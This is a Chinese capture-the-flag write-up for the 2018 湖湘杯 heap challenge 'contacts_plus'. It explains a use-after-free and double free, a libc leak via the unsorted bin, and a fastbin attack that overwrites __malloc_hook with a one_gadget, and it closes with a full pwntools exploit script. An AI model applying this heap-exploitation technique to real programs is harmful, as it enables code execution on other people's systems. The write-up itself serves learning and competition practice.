WriteUp-湖湘杯2018-contacts_plus

前言

这次湖湘杯真的是无力吐槽了,因为 PWN 学的太菜只好当 web 手结果整场比赛服务器都卡的要命,感觉还没隔壁 10 刀一年超售大王卖的 VPS 快,最后摸了个第十一名也是很气。

不过这道堆的 PWN 算是很基础了,也算是学习的起步吧,之前虽然看过 ptmalloc 的源代码也分析过内存分配流程了但是有很多东西还是得调过才能理解透彻。

题目本体见这里

题目描述

首先检查程序保护

1
2
3
4
5
6
7
/m/h/C/h/n/pwn2 $ checksec contacts_plus
[*] '/mnt/hgfs/CTF/hxb2018/nk/pwn2/contacts_plus'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

可以看到保护全开。

逻辑分析

拖进 ida 一看,出题人竟然很贴心的保留了符号,和常规的堆题一致,就是增删改查四个功能。

漏洞点

关键的漏洞点有两个,不过道理是一样的。

第一处出在 RemoveContact :

第二处出在 ChangeName :

核心问题在于删除后没有把 Description 的指针置为 NULL 而且这时候 name 实际上就是 "",所以只要输入的 s 为 "" 就可以访问到已经移除的 Contact。

这样我们就很容易触发 Double Free。

利用

漏洞点很清晰,但是怎么利用?

很容易想到 fastbin attack 但是在那之前我们需要得到要写的地址,所以需要先泄露 libc 基址。

leak libc

首先要做的是泄露 libc 的基址,这里是利用 unsorted bins 来泄露。

我们知道 unsorted bins 实际上可以说是 small bins 和 large bins 的缓存,并且通过环形链表来管理,因此只要我们只要触发 UAF 就能带出 arena 的地址,而 arena 在 libc 中的偏移是固定的因此可以算出 libc 的地址。

为此需要构造 contacts[0]->Description 和 contacts[1]->Description 指向同一个 chunk 并且 contacts[1] 已经被删除,这时候只要再删除 contacts[1] 一次 contacts[0]->Description 指针就指向了一个被双链表连接的 unsorted bin,然后通过打印就可以泄露一个 arena 内的固定偏移地址了。

到这里我们就拿到了 libc 的基址了。

fastbin attack

下一步就是通过 fastbin attack 写 __malloc_hook 了,具体 fastbin attack 的原理ctf-wiki已经写得很详细了,这里不再赘述,关键是如何绕过 malloc 的检查。

最后我们需要把新的 fastbin 分配到 __malloc_hook,但是 malloc 会检查其大小,具体代码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (victim != 0)
{
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) // 这里!
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
check_remalloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

我们可以观察 __malloc_hook 周围的内存

1
2
3
4
5
6
7
8
9
10
pwndbg> hexdump (char*)(&__malloc_hook)-0x40 0x80                                                                
│+0000 0x7ffff7dd1ad0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
│...
│+0020 0x7ffff7dd1af0 60 02 dd f7 ff 7f 00 00 00 00 00 00 00 00 00 00 │`...│....│....│....│
│+0030 0x7ffff7dd1b00 20 2e a9 f7 ff 7f 00 00 00 2a a9 f7 ff 7f 00 00 │....│....│.*..│....│
│+0040 0x7ffff7dd1b10 00 00 00 00 00 00 00 00 (<- __malloc_hook) 00 00 00 00 00 00 00 00 │....│....│....│....│
│+0050 0x7ffff7dd1b20 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
│+0060 0x7ffff7dd1b30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │....│....│....│....│
│...
│pwndbg>

可以看到有一些 0x7f 可以供我们利用,因此可以利用错位分配让 0x7f 成为 chunk 的 size 字段就可以绕过检查了,这里我选择让 fastbin 分配到 (char*)&__malloc_hook - 0x23。

同时根据计算 0x7f 对应的 requestsize 是 0x70,减去prev_size和size也就是说我们要申请 0x60 的内存即可。

最终利用 one_gadget 尝试可利用的 gadget 写入 __malloc_hook 即可。

exp

整体 exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
import sys
Debug = len(sys.argv) <2

context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "Debug"
context.aslr = False

if Debug:
sh = gdb.debug("./contacts_plus",
gdbscript="b *0x555555555303")
else:
sh = process("./contacts_plus")


def create(name, phone, deslen, des):
sh.sendlineafter(">>>", "1")
sh.sendlineafter("Name:", name)
sh.sendlineafter("No:", phone)
sh.sendlineafter("ion:", deslen)
sh.sendlineafter("ion:", des)

def remove(name):
sh.sendlineafter(">>>", "2")
sh.sendlineafter("ve?", name)

def display():
sh.sendlineafter(">>>", "4")

def editname(old, new):
sh.sendlineafter(">>>", "3")
sh.sendlineafter("change:", old)
sh.sendlineafter(">>>", "1")
sh.sendlineafter("name:", new)

def editdes(old, deslen, des):
sh.sendlineafter(">>>", "3")
sh.sendlineafter("change:", old)
sh.sendlineafter(">>>", "2")
sh.sendlineafter("ion:", deslen)
sh.sendlineafter("ion:", des)

gadget = 0xf1147

libc = ELF("./libc.so.6")
create("111", "111", "256", "1"*256)
create("222", "222", "256", "2"*256)
create("333", "333", "256", "3"*256)
create("addnum", "123", "1024", "just add num")
create("addnum", "123", "1024", "just add num")
remove("111")
remove("222")
# 虽然 unsorted bins 是 FIFO
# 但是实际上 111 那个 bin 会被 scanf 使用
# 然后 split 成一个 fastbin 和一个更小的,所以下次只有 222。
create("444", "444", "1024", "whatever")
editdes("444", "256", "A"*7)
remove("")
display()
sh.recvuntil("Description: ")
tp = sh.recv(6).ljust(8, '\x00')
mainarena_unsortedbin_address =u64(tp)
libc_address=mainarena_unsortedbin_address - 88 - 0x3c4b20
print "get libc at %s" % hex(libc_address)
malloc_hook_address = libc_address + libc.symbols["__malloc_hook"]
shell = libc_address + gadget
print "write shell %s at hook %s" % (hex(shell), hex(malloc_hook_address))
fastbin_size = str(0x60)
create("555", "555", fastbin_size, "e")
editdes("444", fastbin_size, "w")
display()
remove("444")
display()
remove("555")
display()
remove("")
create("666","666",fastbin_size, p64(malloc_hook_address-0x23))
create("777","777", fastbin_size, p64(malloc_hook_address-0x23))
create("888", "888" , fastbin_size, "whaterver")
create("999", "999" , fastbin_size,'a'*0x13 + p64(shell))
sh.sendlineafter(">>>", "2")
sh.interactive()

后记

堆还是很有意思的,关键还是要摸熟 ptmalloc 的许多细节,内功还有待提升呀。